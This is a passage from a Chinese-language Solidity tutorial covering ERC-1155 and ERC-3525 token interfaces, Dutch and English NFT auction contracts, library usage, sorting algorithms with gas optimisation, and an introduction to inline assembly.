) external;
/**
@notice 获取帐户令牌的余额。
@param _owner 令牌持有者的地址
@param _id ID of the token
@return 请求的代币类型的所有者余额
*/
function balanceOf(address _owner, uint256 _id)
external
view
returns (uint256);
/**
@notice 获取多个账户/代币对的余额
@param _owners 代币持有者的地址
@param _ids ID of the tokens
@return 请求的令牌类型的 _owner 余额(即每个 (owner, id) 对的余额)
*/
function balanceOfBatch(address[] calldata _owners, uint256[] calldata _ids)
external
view
returns (uint256[] memory);
/**
@notice 启用或禁用对第三方(“操作员”)的批准以管理所有调用者的令牌。
@dev 必须在成功时发出 ApprovalForAll 事件。
@param _operator 添加到授权运营商集中的地址
@param _approved 如果运营商获得批准,则为 True,如果撤消批准,则为 false
*/
function setApprovalForAll(address _operator, bool _approved) external;
/**
@notice 查询给定所有者的操作员的批准状态。
@param _owner The owner of the tokens
@param _operator 授权操作员的地址
@return 如果操作员被批准则为真,否则为假
*/
function isApprovedForAll(address _owner, address _operator)
external
view
returns (bool);
}
ERC3525 标准
每个符合 EIP-3525 的合约都必须实现 EIP-3525、EIP-721 和 EIP-165 接口
参考资料:
https://eips.ethereum.org/EIPS/eip-3525
场景说明
描述一组具有相同类型,但是有轻微不同的东西。比如相同的 100 元人民币,一共 100 张,每一张都是价值 100 的纸币,大部分的防伪等等都不同,但是每一张都编号都不同。
合约代码
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title EIP-3525 Semi-Fungible Token Standard
* Note: the EIP-165 identifier for this interface is 0xd5358140.
*/
interface IERC3525 /* is IERC165, IERC721 */ {
/**
* @dev MUST emit when value of a token is transferred to another token with the same slot,
* including zero value transfers (_value == 0) as well as transfers when tokens are created
* (`_fromTokenId` == 0) or destroyed (`_toTokenId` == 0).
* @param _fromTokenId The token id to transfer value from
* @param _toTokenId The token id to transfer value to
* @param _value The transferred value
*/
event TransferValue(
uint256 indexed _fromTokenId,
uint256 indexed _toTokenId,
uint256 _value
);
/**
* @dev MUST emit when the approval value of a token is set or changed.
* @param _tokenId The token to approve
* @param _operator The operator to approve for
* @param _value The maximum value that `_operator` is allowed to manage
*/
event ApprovalValue(
uint256 indexed _tokenId,
address indexed _operator,
uint256 _value
);
/**
* @dev MUST emit when the slot of a token is set or changed.
* @param _tokenId The token of which slot is set or changed
* @param _oldSlot The previous slot of the token
* @param _newSlot The updated slot of the token
*/
event SlotChanged(
uint256 indexed _tokenId,
uint256 indexed _oldSlot,
uint256 indexed _newSlot
);
/**
* @notice Get the number of decimals the token uses for value - e.g. 6, means the user
* representation of the value of a token can be calculated by dividing it by 1,000,000.
* Considering the compatibility with third-party wallets, this function is defined as
* `valueDecimals()` instead of `decimals()` to avoid conflict with EIP-20 tokens.
* @return The number of decimals for value
*/
function valueDecimals() external view returns (uint8);
/**
* @notice Get the value of a token.
* @param _tokenId The token for which to query the balance
* @return The value of `_tokenId`
*/
function balanceOf(uint256 _tokenId) external view returns (uint256);
/**
* @notice Get the slot of a token.
* @param _tokenId The identifier for a token
* @return The slot of the token
*/
function slotOf(uint256 _tokenId) external view returns (uint256);
/**
* @notice Allow an operator to manage the value of a token, up to the `_value`.
* @dev MUST revert unless caller is the current owner, an authorized operator, or the approved
* address for `_tokenId`.
* MUST emit the ApprovalValue event.
* @param _tokenId The token to approve
* @param _operator The operator to be approved
* @param _value The maximum value of `_toTokenId` that `_operator` is allowed to manage
*/
function approve(
uint256 _tokenId,
address _operator,
uint256 _value
) external payable;
/**
* @notice Get the maximum value of a token that an operator is allowed to manage.
* @param _tokenId The token for which to query the allowance
* @param _operator The address of an operator
* @return The current approval value of `_tokenId` that `_operator` is allowed to manage
*/
function allowance(uint256 _tokenId, address _operator)
external
view
returns (uint256);
/**
* @notice Transfer value from a specified token to another specified token with the same slot.
* @dev Caller MUST be the current owner, an authorized operator or an operator who has been
* approved the whole `_fromTokenId` or part of it.
* MUST revert if `_fromTokenId` or `_toTokenId` is zero token id or does not exist.
* MUST revert if slots of `_fromTokenId` and `_toTokenId` do not match.
* MUST revert if `_value` exceeds the balance of `_fromTokenId` or its allowance to the
* operator.
* MUST emit `TransferValue` event.
* @param _fromTokenId The token to transfer value from
* @param _toTokenId The token to transfer value to
* @param _value The transferred value
*/
function transferFrom(
uint256 _fromTokenId,
uint256 _toTokenId,
uint256 _value
) external payable;
/**
* @notice 转移将指定数量的代币到新地址。调用者应确认 _to 能够接收 EIP-3525 资产。
* @dev This function MUST create a new EIP-3525 token with the same slot for `_to`,
* or find an existing token with the same slot owned by `_to`, to receive the transferred value.
* MUST revert if `_fromTokenId` is zero token id or does not exist.
* MUST revert if `_to` is zero address.
* MUST revert if `_value` exceeds the balance of `_fromTokenId` or its allowance to the
* operator.
* MUST emit `Transfer` and `TransferValue` events.
* @param _fromTokenId The token to transfer value from
* @param _to The address to transfer value to
* @param _value The transferred value
* @return ID of the token which receives the transferred value
*/
function transferFrom(
uint256 _fromTokenId,
address _to,
uint256 _value
) external payable returns (uint256);
}
扩展
更多关于 3525 协议的内容,参考 https://cloud.tencent.com/developer/article/2155201
四种代币标准的对比
实战:荷兰拍卖
原理
拍卖 NFT
需要拥有 NFT
需要在 NFT 合约内对拍卖合约做
aoorove
;
代码
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
interface IERC721 {
function transferFrom(
address _form,
address _to,
uint256 _nftId
) external;
}
contract DutchAuction {
uint256 private immutable duration;
address payable public immutable seller;
IERC721 public immutable nft;
uint256 public immutable nftId;
uint256 public immutable startingPrice;
uint256 public immutable startAt;
uint256 public immutable endAt;
uint256 public immutable discountRate;
constructor(
address _nft,
uint256 _nftId,
uint256 _startingPrice,
uint256 _duration,
uint256 _discountRate
) {
require(
_startingPrice >= _duration * _discountRate,
"starting price < discount"
);
seller = payable(msg.sender);
nft = IERC721(_nft); // 需要 IERC721 进行转换
nftId = _nftId;
duration = _duration;
startingPrice = _startingPrice;
discountRate = _discountRate;
startAt = block.timestamp;
endAt = block.timestamp + _duration;
}
// 获取价格
function getPrice() public view returns (uint256) {
uint256 timeElapsed = block.timestamp - startAt;
uint256 discount = discountRate * timeElapsed;
return startingPrice - discount;
}
// 购买
function buy() external payable {
// 打包时间需要在拍卖截止之前
require(block.timestamp < endAt, "Auction has ended");
uint256 price = getPrice();
require(msg.value >= price, "Insufficient amount");
nft.transferFrom(seller, msg.sender, nftId);
// 如果有多余的钱,需要把钱退会购买者账号(提交时间和打包确认时间不一致)
uint256 refund = msg.value - price;
if (refund > 0) {
payable(msg.sender).transfer(refund);
}
selfdestruct(seller);
}
}
实战:英式拍卖
原理
拍卖 NFT
需要拥有 NFT
需要在 NFT 合约内对拍卖合约做
aoorove
;
代码
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
interface IERC721 {
function transferFrom(
address _form,
address _to,
uint256 _nftId
) external;
}
// TODO: 区块注释信息,可以选择在合约完成后删除
contract HelloComrades {
/*
* ========================================
* State Variables
* ========================================
*/
address payable public immutable seller;
IERC721 public immutable nft;
uint256 public immutable nftId;
uint32 public endAt; // 结束时间
bool public started; // 开始时间
bool public ended; // 结束时间
uint256 public highestBid; // 最高出价
address public highestBider; // 最高出价人
mapping(address => uint256) public bids; // 除了最高出价外的所有出价人
/*
* ========================================
* Events
* ========================================
*/
event Start();
event End(address highestBider, uint256 amount);
event Bid(address indexed sender, uint256 amount);
event Withdraw(address indexed sender, uint256 amount);
/*
* ========================================
* Modifier
* ========================================
*/
/*
* ========================================
* Errors
* ========================================
*/
/*
* ========================================
* Constructor
* ========================================
*/
constructor(
address _nft,
uint256 _nftId,
uint256 _startingPrice
) {
seller = payable(msg.sender);
nft = IERC721(_nft); // 需要 IERC721 进行转换
nftId = _nftId;
highestBid = _startingPrice;
}
/*
* ========================================
* Functions
* ========================================
*/
function start() external {
require(msg.sender == seller, "Nor seller");
require(!started, "started");
started = true;
endAt = uint32(block.timestamp + 60);
nft.transferFrom(seller, address(this), nftId);
emit Start();
}
function bid() external payable {
require(started, "Not started"); //需要时间已经开始
require(block.timestamp < endAt, "ended"); // 需要时间还没有过期
require(msg.value > highestBid, "invalid price"); // 需要高于上次出价
// 把上一次最高出价和出价人写入账本
if (highestBider != address(0)) {
bids[highestBider] += highestBid;
}
// 更新最高出价/最高出价人
highestBid = msg.value;
highestBider = msg.sender;
emit Bid(msg.sender, msg.value);
}
// 取回自己的出价
function withdraw() external {
uint256 bal = bids[msg.sender];
require(bal > 0, "No amount can be refunded");
bids[msg.sender] = 0; //为了防止漏洞发生,需要先把状态修改
payable(msg.sender).transfer(bal);
emit Withdraw(msg.sender, bal);
}
// 结束拍卖;不需要做身份确认,因为需要做的事情是固定的,
// 能不做身份判断就不需要做,可以节省Gas
function end() external {
require(started, "Not started"); // 需要已经开始
require(!ended, "is ended"); // 需要还没有结束
require(block.timestamp >= endAt, "auction in progress");
ended = true;
if (highestBider != address(0)) {
// 如果有人出价则将 NFT 给最高出价人,最高价格给销售者
nft.transferFrom(address(this), highestBider, nftId);
seller.transfer(highestBid);
} else {
// 如果没有人出价,则NFT原路返还给销售者
nft.transferFrom(address(this), seller, nftId);
}
emit End(highestBider, highestBid);
}
/*
* ========================================
* Helper
* ========================================
*/
function getBalance() external view returns (uint256) {
return address(this).balance;
}
}
测试流程
部署 ERC721 ,NFT 合约地址是
nftContractAds
给
address1
min 一个 ID 是 1 的 NFT部署英式拍卖合约
EnglishAuction
输入 NFT 合约地址
输入 NFT ID 号
起拍价格:8
在
nftContractAds
中 approveEnglishAuction
, ID 为 1 的 NFT使用
address2
出价 1,查看是否返回错误Not started
查看合约的状态
started
ended
getBalance
seller
nft
nftId
highestBider
highestBid
使用
address1
出价 1, 开始拍卖合约,查看是否返回错误invalid price
再次查看合约的状态
使用
address2
出价 10使用
address3
出价 20使用
address2
出价 50查询
address2
可退换的主币查询
address3
可退换的主币结束拍卖
使用
address2
取回主币使用
address3
取回主币
问答题
interface
有哪些限制?无法实现任何功能,没有函数体。
否则报错:
Functions in interfaces must be declared external.
无法继承其他合约。(需要验证,是否可以继承接口,文档内说可以继承其他接口。)
无法定义构造函数。
无法定义状态变量。
不可以声明修改器。
无法定义结构(
strct
)(0.5.0
版本开始接口里可以支持声明enum
类型)。所有声明的函数必须是
external
的,尽管在合约里可以是 public文档说:将来可能会解除这里的某些限制。
interface
的意义?我们需要调用已经部署在链上的已经合约,这时候可以通过接口合约实现部分调用的逻辑,我们只需要写一个与之对应的接口合约,就可以调用了。
interface
和abstract
(抽象合约)有啥区别?分别用在什么地方?interface
的常见用法有哪些?制定标准,比如最成功的
ERC20
接口合约
ERC20
标准接口有哪些内容?1 个授权(approve)
2 个事件(Transfer/Approval)
2 个交易(transfer/transferFrom)
3 个查询(totalSupply/balanceOf/allowance)
只要满足以上接口的都是 ERC20 标准合约,很多土狗合约喜欢在 transfer 内魔改。
全局属性
type(I).interfaceId
使用?没啥用,就是类似函数签名一样的十六进制数据,知道有这个属性就好。
聊一聊
interface
就像继承其他合约一样,合约可以继承接口。接口中的函数都会隐式的标记为
virtual
,意味着他们会被重写并不需要override
关键字。 但是不表示重写(overriding)函数可以再次重写,仅仅当重写的函数标记为virtual
才可以再次重写。
Library:库
库 library 是智能合约的精简版,就像智能合约一样,位于区块链上,包含可以被其他合约使用的代码。库合约有两种使用方法,直接调用和 using...for...
使用。
库合约与普通智能合约区别
库与合约类似,库的目的是只需要在特定的地址部署一次,而它们的代码可以通过
EVM 的 DELEGATECALL
特性进行重用。这意味着如果库函数被调用,它的代码在调用合约的上下文中执行,即 this
指向调用合约,特别注意,他访问的是调用合约存储的状态。因为每个库都是一段独立的代码,所以它仅能访问调用合约明确提供的状态变量(否则它就无法通过名字访问这些变量)。
库不能有任何状态变量
它们也不能继承其他合约。
库合约函数的可视范围通常为
internal
,可变性为pure
,也就是对所有使用它的合约可见。定义成
external
毫无意义,因为库合约函数只在内部使用,不独立运行。同样定义成
private
也不行,因为其它合约无法使用。
禁止使用
fallback
/receive
函数,所以导致也不能接收以太币Library 被销毁后,则所有方法恢复为初始值,功能失效。
使用库 library 的合约,可以将库合约视为隐式的父合约,当然它们不会显式的出现在继承关系中。也就是不用写
is
来继承,直接可以在合约中使用。按照规范,库合约的名字需要首字母大写(大驼峰命名方式)
可以通过类型转换, 将库类型更改为 address
类型, 例如: 使用address(LibraryName)
,由于编译器无法知道库的部署位置,编译器会生成__$30bbc0abd4d6364515865950d3e0d10953$__
形式的占位符,该占位符是完整的库名称的 keccak256 哈希的十六进制编码的 34 个字符的前缀,例如:如果该库存储在 libraries 目录中名为 bigint.sol 的文件中,则完整的库名称为libraries/bigint.sol:BigInt
。
此类字节码不完整的合约,不应该部署。占位符需要替换为实际地址。你可以通过在编译库时将它们传递给编译器或使用链接器更新已编译的二进制文件来实现。有关如何使用命令行编译器进行链接的信息,请参见 library-linking
。
直接调用库合约方法
案例 1
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
library Math {
function max(uint256 _x, uint256 _y) internal pure returns (uint256) {
return _x > _y ? _x : _y;
}
}
contract Test {
function testMax(uint256 _x, uint256 _y) external pure returns (uint256) {
return Math.max(_x, _y);
}
}
案例 2
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
library ArrayLib {
function find(uint256[] storage _arr, uint256 _value)
internal
view
returns (uint256)
{
for (uint256 index = 0; index < _arr.length; index++) {
if (_arr[index] == _value) {
return index;
}
}
revert("Not Found");
}
}
contract Test {
uint256[] public arr = [10, 11, 12, 13, 14, 15, 16, 17, 18, 19];
// 会成功
function test1() external view returns (uint256) {
return ArrayLib.find(arr, 15);
}
// 会失败
function test2() external view returns (uint256) {
return ArrayLib.find(arr, 99);
}
}
using...for...
使用库合约
使用库合约还有更方便的方法,那就是 using for
指令。
例如:using A for B
用来将 A 库里定义的函数附着到类型 B。这些函数将会默认接收调用函数对象的实例作为第一个参数。
using For 可在文件或合约内部及合约级都是有效的。
核心如下:
using ArrayLib for uint256[];
uint256[] public arr = [10, 11, 12, 13, 14,...];
...
arr.find(15); // 直接使用
...
例子 1
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
library ArrayLib {
function find(uint256[] storage _arr, uint256 _value)
internal
view
returns (uint256)
{
for (uint256 index = 0; index < _arr.length; index++) {
if (_arr[index] == _value) {
return index;
}
}
revert("Not Found");
}
}
contract Test {
// using for 可以让所有 uint256[] 数据,都具有 ArrayLib 内的方法
using ArrayLib for uint256[];
uint256[] public arr = [10, 11, 12, 13, 14, 15, 16, 17, 18, 19];
function test1() external view returns (uint256) {
// return ArrayLib.find(arr, 15);
// 可以直接使用 arr.find,而不需要额外修改 ArrayLib 内的代码
return arr.find(15);
}
function test2() external view returns (uint256) {
// return ArrayLib.find(arr, 99);
return arr.find(99);
}
}
using for 其他用法
第一部分 A
可以是以下之一:
一些库或文件级的函数列表(
using {f, g, h, L.t} for uint;
),仅是那些函数被附加到类型。库名称 (
using L for uint;
) ,库里所有的函数(包括 public 和 internal 函数) 被附加到类型上。
在文件级,第二部分 B
必须是一个显式类型(不用指定数据位置)
在合约内,你可以使用 using L for *;
, 表示库 L
中的函数被附加在所有类型上。
如果你指定一个库,库内所有函数都会被加载,即使它们的第一个参数类型与对象的类型不匹配。类型检查会在函数调用和重载解析时执行。
如果你使用函数列表 (using {f, g, h, L.t} for uint;
), 那么类型
(uint
) 会隐式的转换为这些函数的第一个参数。
即便这些函数中没有一个被调用,这个检查也会进行。
using A for B;
指令仅在当前作用域有效(要么是合约中,或当前模块、或源码单元),包括在作用域内的所有函数,在合约或模块之外则无效。
当 using for
指令在文件级别使用,并应用于一个用户定义类型(在用一个文件定义的文件级别的用户类型),global
关键字可以添加到末尾。产生的效果是,这些函数被附加到使用该类型的任何地方(包括其他文件),而不仅仅是声明处所在的作用域。
在下面的例子中,我们将使用库:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
library Search {
function indexOf(uint[] storage self, uint value)
public
view
returns (uint)
{
for (uint i = 0; i < self.length; i++)
if (self[i] == value) return i;
return type(uint).max;
}
}
using Search for uint[];
contract C {
using Search for uint[];
uint[] data;
function append(uint value) public {
data.push(value);
}
function replace(uint from, uint to) public {
// 执行库函数调用
uint index = data.indexOf(from);
if (index == type(uint).max)
data.push(to);
else
data[index] = to;
}
}
注意,所有 external 库调用都是实际的 EVM 函数调用。这意味着如果传递内存或值类型,都将产生一个副本,即使是 self
变量。 引用存储变量或者 internal 库调用 是唯一不会发生拷贝的情况。
直接调用 和 using for 对比
using for 更符合语义化
库合约使用 using for 比直接使用更省 gas
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
library Sum {
function sum(uint256[] memory _data) public pure returns (uint256 temp) {
for (uint256 i = 0; i < _data.length; ++i) {
temp += _data[i];
}
}
}
contract Test {
using Sum for uint256[];
uint256[] data;
constructor() {
data.push(1);
data.push(2);
data.push(3);
data.push(4);
data.push(5);
}
// 43874 gas
function sumA1() external view returns (uint256) {
return Sum.sum(data);
}
// 43531 gas
function sumA2() external view returns (uint256) {
return data.sum();
}
}
销毁合约库
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
library Math {
function max(uint256 _x, uint256 _y) internal pure returns (uint256) {
return _x > _y ? _x : _y;
}
function kill() internal {
selfdestruct(payable(msg.sender));
}
// Libraries cannot have fallback functions.
// fallback() external {}
// Libraries cannot have receive ether functions.
// receive() external payable {}
}
contract Test {
function testMax(uint256 _x, uint256 _y) external pure returns (uint256) {
return Math.max(_x, _y);
}
function testKill() external {
return Math.kill();
}
}
执行
Test.testMax
执行
Test.testKill
再次执行
Test.testMax
,发现结果是默认值
扩展:库的调用保护
如果库的代码是通过 CALL
来执行,而不是 DELEGATECALL
那么执行的结果会被回退,除非是对 view
或者 pure
函数的调用。EVM 没有为合约提供检测是否使用 CALL
的直接方式,但是合约可以使用ADDRESS
操作码找出正在运行的”位置”。生成的代码通过比较这个地址和构造时的地址来确定调用模式。
更具体地说,库的运行时代码总是从一个 push 指令开始,它在编译时是 20 字节的零。当运行部署代码时,这个常数被内存中的当前地址替换,修改后的代码存储在合约中。在运行时,部署时地址就成为了第一个被 push 到堆栈上的常数, 对于任何 non-view 和 non-pure 函数,调度器代码都将对比当前地址与这个常数是否一致。这意味着库在链上存储的实际代码与编译器输出的 deployedBytecode
的编码是不同。
实战应用
问答题
库合约与普通智能合约区别
库不能有任何状态变量
它们也不能继承其他合约。
库合约函数的可视范围通常为
internal
,可变性为pure
,也就是对所有使用它的合约可见。定义成
external
毫无意义,因为库合约函数只在内部使用,不独立运行。同样定义成
private
也不行,因为其它合约无法使用。
禁止使用
fallback
/receive
函数,所以导致也不能接收以太币Library 被销毁后,则所有方法恢复为初始值,功能失效。
使用库 library 的合约,可以将库合约视为隐式的父合约,当然它们不会显式的出现在继承关系中。也就是不用写
is
来继承,直接可以在合约中使用。库合约的名字也需要首字母大写
库与合约类似,库的目的是只需要在特定的地址部署一次,而它们的代码可以通过 EVM 的
DELEGATECALL
特性进行重用。这意味着如果库函数被调用,它的代码在调用合约的上下文中执行,即this
指向调用合约,特别注意,他访问的是调用合约存储的状态。因为每个库都是一段独立的代码,所以它仅能访问调用合约明确提供的状态变量(否则它就无法通过名字访问这些变量)。可以通过类型转换, 将库类型更改为
address
类型, 例如: 使用address(LibraryName)
,由于编译器无法知道库的部署位置,编译器会生成__$30bbc0abd4d6364515865950d3e0d10953$__
形式的占位符,该占位符是完整的库名称的 keccak256 哈希的十六进制编码的 34 个字符的前缀,例如:如果该库存储在 libraries 目录中名为 bigint.sol 的文件中,则完整的库名称为libraries/bigint.sol:BigInt
。
库合约如何调用?
有两种方法调用
1 直接调用库合约方法:
ArrayLib.find(arr, 99);
2
using...for...
使用库合约using ArrayLib for uint256[]; uint256[] public arr = [10, 11, 12, 13, 14,...]; ... arr.find(15); // 直接使用 ...
直接调用 和 using for 对比
using for
更符合语义化库合约使用
using for
比直接使用更省 gas
算法
此算法参考我之前写的JS 教程算法,然后做改动。
在 Solidity 内主要是经济模型的算法,在其他语言内的各种排序算法,在合约内使用场景并不是很常见,之所以在这里罗列,是一起熟悉下思路,算法是很基础的逻辑训练途径,下面仅以插入排序喝冒泡排序作为例子。快速排序和数组去重作为扩展练习
插入排序
插入排序是一种最简单直观的排序算法,它的工作原理是通过构建有序序列,对于未排序数据,在已排序序列中从后向前扫描,找到相应位置并插入。
操作步骤:首先选取数组的第一项即 ary[0]
,我们可以认为这个数是已经安排好序的,再取 ary[1]
项插入到已经排好序的元素中,此时只有 ary[0]
,我们比较 ary[0]
和 ary[1]
;大于 ary[0]
就放在后面,小于就插到 ary[0]
前面;要插入的元素依次为 ary[1]
至 ary[ary.leng-1]
项;插入到排序好的数组中的时候,插入每一项都需要从后面往前面遍历已经排序好的元素;
如果排序好的元素比插入的元素大,则把该元素往后挪一位,直到已经排序的元素小于等于要插入的元素(或者已经遍历完已经排好序的数组项),则把要插入的元素放在该位置+1 的索引位置中(反向排的时候,需要放在数组的第 0 个位置),对每个插入的元素都执行上面的操作,最终数组就是排序好的;
错误版本
把原来 JS 算法 里写的代码拷贝进来修改后,竟然错了。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
// [11,2,31,45,6,78,37,33,21] => [2, 6, 11, 21, 31, 33, 37, 45, 78]
contract Demo {
function insertSort(uint256[] memory ary)
public
pure
returns (uint256[] memory)
{
uint256 temp; //定义一个临时变量,保存要插入的值;
uint256 len = ary.length;
for (uint256 i = 1; i < len; i++) {
if (ary[i] < ary[i - 1]) {
temp = ary[i]; //需要插入的值;
uint256 pIndex = i - 1; //需要插入值的前一个索引;
while (temp < ary[pIndex] && pIndex >= 0) {
ary[pIndex + 1] = ary[pIndex]; //相当于ary[i]=ary[i-1];
ary[pIndex] = temp; //相当于ary[i-1]=temp;完成一波交换;
pIndex--; //准备下一波交换;
}
}
}
return ary;
}
}
报错信息如下:出现了 overflow
了。
{
"error": "Failed to decode output: Error: overflow (fault=\"overflow\", operation=\"toNumber\", value=\"35408467139433450592217433187231851964531694900788300625387963629091585785856\", code=NUMERIC_FAULT, version=bignumber/5.5.0)"
}
这个代表超出了 uint256
的范围了,uint256
的范围是 0
至115792089237316195423570985008687907853269984665640564039457584007913129639935
,肯定不是运算超出最大值了,只能是计算时候超出最小值了;基本可以锁定 pIndex--;
这一句导致的错误,运行到 0--
等于 -1 ,导致出错了。
修复如下
原理: 只需要让 pIndex--
最小运行到 1--
就可以解决溢出问题了。
而让
pIndex
最小值等 1,则需要pIndex >= 1
其他一次修改即可
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
// [11,2,31,45,6,78,37,33,21] => [2, 6, 11, 21, 31, 33, 37, 45, 78]
contract Demo {
function insertSort(uint256[] memory ary)
public
pure
returns (uint256[] memory)
{
uint256 temp; //定义一个临时变量,保存要插入的值;
uint256 len = ary.length;
for (uint256 i = 1; i < len; i++) {
if (ary[i] < ary[i - 1]) {
temp = ary[i]; //需要插入的值;
// 原代码
// uint256 pIndex = i - 1; //需要插入值的前一个索引;
// while (temp < ary[pIndex] && pIndex >= 0) {
// 新代码
uint256 pIndex = i;
while (temp < ary[pIndex - 1] && pIndex >= 1) {
// 原代码
// ary[pIndex + 1] = ary[pIndex]; //相当于ary[i]=ary[i-1];
// ary[pIndex] = temp; //相当于ary[i-1]=temp;完成一波交换;
// 新代码
ary[pIndex] = ary[pIndex - 1]; //相当于ary[i]=ary[i-1];
ary[pIndex - 1] = temp; //相当于ary[i-1]=temp;完成一波交换;
pIndex--; //准备下一波交换;
}
}
}
return ary;
}
}
但是这个版本的代码还是有问题的,因为我们代码中的 temp < ary[pIndex - 1] && pIndex >= 1
这里的 temp < ary[pIndex - 1]
在 pIndex--;
后 pIndex
为 0,而此时 ary[pIndex - 1]
又出现错误了。
再次修复如下
这时候我们需要使用短路规则,把条件位置换一下,因为我们要求 pIndex >= 1
,当 pIndex
为 0 时候就不需要继续运行了。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
// [11,2,31,45,6,78,37,33,21] => [2, 6, 11, 21, 31, 33, 37, 45, 78]
contract Demo {
// 47897 gas
function insertSort(uint256[] memory ary)
public
pure
returns (uint256[] memory)
{
uint256 temp; //定义一个临时变量,保存要插入的值;
uint256 len = ary.length;
for (uint256 i = 1; i < len; i++) {
if (ary[i] < ary[i - 1]) {
temp = ary[i]; //需要插入的值;
uint256 pIndex = i;
while (pIndex >= 1 && temp < ary[pIndex - 1]) {
ary[pIndex] = ary[pIndex - 1]; //相当于ary[i]=ary[i-1];
ary[pIndex - 1] = temp; //相当于ary[i-1]=temp;完成一波交换;
pIndex--; //准备下一波交换;
}
}
}
return ary;
}
}
这下终于执行成功了。 查看调用成功的 gas,花费了 47897 gas
;
然后我们再次开始怎么优化这些 gas。
优化后的最终版本
然后我们再看看怎么优化,
if (ary[i] < ary[i - 1])
与temp < ary[pIndex - 1]
重复判断了输入变量的位置 memory,可以改为
calldata
i++
可以改为++
;pIndex--;
可以改为--pIndex;
内部声明的所有变量,都可以提到循环外
最终的版本: gas 消耗从最开始的 47897 gas
优化成了 41125 gas
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
// [11,2,31,45,6,78,37,33,21]
// => [2, 6, 11, 21, 31, 33, 37, 45, 78]
// 47897 gas
// ...
// 41125 gas
contract Demo {
// 47897 gas
function insertSort(uint256[] calldata ary)
public
pure
returns (uint256[] memory)
{
uint256[] memory tempArr = ary;
uint256 temp; //定义一个临时变量,保存要插入的值;
uint256 len = tempArr.length;
uint256 pIndex; // 上一个值
for (uint256 i = 1; i < len; ++i) {
temp = tempArr[i]; //需要插入的值;
pIndex = i;
while (pIndex >= 1 && temp < tempArr[pIndex - 1]) {
tempArr[pIndex] = tempArr[pIndex - 1]; //相当于ary[i]=ary[i-1];
--pIndex; //准备下一波交换;
}
tempArr[pIndex] = temp; //相当于ary[i-1]=temp; 因为上面 pIndex-- 了
}
return tempArr;
}
}
冒泡排序
冒泡排序(Bubble Sort)也是一种简单直观的排序算法。它重复地走访过要排序的数列,一次比较两个元素,如果他们的顺序错误就把他们交换过来。走访数列的工作是重复地进行直到没有再需要交换,也就是说该数列已经排序完成。这个算法的名字由来是因为越小的元素会经由交换慢慢“浮”到数列的顶端。 算法步骤:
1)比较相邻的元素。如果第一个比第二个大,就交换他们两个。
2)对每一对相邻元素作同样的工作,从开始第一对到结尾的最后一对。这步做完后,最后的元素会是最大的数。
3)针对所有的元素重复以上的步骤,除了最后一个。
4)持续每次对越来越少的元素重复上面的步骤,直到没有任何一对数字需要比较。
contract Demo2 {
function sortAry(uint256[] calldata ary)
public
pure
returns (uint256[] memory)
{
uint256[] memory tempArr = ary;
uint256 len = tempArr.length; //获取数组的长度;有aryLen个数在排序;
uint256 temp; //临时变量,交换数据中用的
bool flag = false; //设置标志位,初始化为false
for (uint256 i = 0; i < len - 1; ++i) {
//外层循环n-1次;
for (uint256 j = 0; j < len - 1 - i; ++j) {
//每次循环完,都能从剩下的数组中找出个最大的数组放在 len-1-i 的位置;
if (tempArr[j] > tempArr[j + 1]) {
temp = tempArr[j];
tempArr[j] = tempArr[j + 1];
tempArr[j + 1] = temp;
flag = true; //如果交换好了,做个标记,避免无效的循环;
}
}
if (!!flag) {
//只要交换了位置,flag的值就重新设置为false了;
flag = false;
} else {
//如果没有交换,说明数组已经排好序了,可以结束循环了;
break;
}
}
return tempArr;
}
}
实战应用
快速排序和数组去重作为扩展练习,自己可以动手实现。
实现快速排序
实现数组去重
问答题
插入排序的写法
function insertSort(uint256[] calldata ary) public pure returns (uint256[] memory) { uint256[] memory tempArr = ary; uint256 temp; //定义一个临时变量,保存要插入的值; uint256 len = tempArr.length; uint256 pIndex; // 上一个值 for (uint256 i = 1; i < len; ++i) { temp = tempArr[i]; //需要插入的值; pIndex = i; while (pIndex >= 1 && temp < tempArr[pIndex - 1]) { tempArr[pIndex] = tempArr[pIndex - 1]; //相当于ary[i]=ary[i-1]; --pIndex; //准备下一波交换; } tempArr[pIndex] = temp; //相当于ary[i-1]=temp; 因为上面 pIndex-- 了 } return tempArr; }
if (ary[i] < ary[i - 1])
与temp < ary[pIndex - 1]
重复判断了输入变量的位置 memory,可以改为
calldata
i++
可以改为++
;pIndex--;
可以改为--pIndex;
内部声明的所有变量,都可以提到循环外
Assembly:内联汇编
使用内联汇编,可以在 Solidity 源程序中嵌入汇编代码,对 EVM 有更细粒度的控制。内联汇编主要用在编写库函数时很有用,一般用于写工具函数,比如椭圆签名解析等。在项目中用汇编编主要是 opensea 的 seaport 合约.
在合约的内部使用汇编,是在合约内部包含 assembly
关键字进行编写的,在 Solidity inline assembly
(内联汇编) 中的语言被称为 Yul。Yul 除了在 Solidity 之中作为 inline assembly 的一部分,也能当作独立的直译语言能够被编译成 bytecode 给不同的后端。
注意:内联汇编是一种在底层访问以太坊虚拟机的语言,由于编译器无法对汇编语句进行检查,所以 Solidity 提供的很多重要安全特性都没办法作用于汇编。写汇编代码相对比较困难,很多时候只有在处理一些相对复杂的问题时才需要使用它,并且开发者需要明确知道自己要做什么。
基本格式
通过 assembly {}
包裹代码。并且内部每一行语句不需要使用;
显示的标注结束。Assembly 也支持注释,可以使用 //
和 /* */
来进行注释。
⚠️ 注意: Inline Assembly 中,代码块之间是不能彼此沟通的,里面声明的变量都是本地变量。
例子: 不同代码块无法互相访问
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
contract Demo {
function demoAssembly() public view returns (uint256) {
assembly {
let x := 2
}
assembly {
let y := x // DeclarationError: Identifier "x" not found.
}
}
}
let 指令执行如下任务:
创建一个新的堆栈槽位
为变量保留该槽位
当到达代码块结束时自动销毁该槽位
因此,使用 let 指令在汇编代码块中定义的变量,在代码块外部是无法访问的。但是内部代码块可以访问外部代码块的内容。
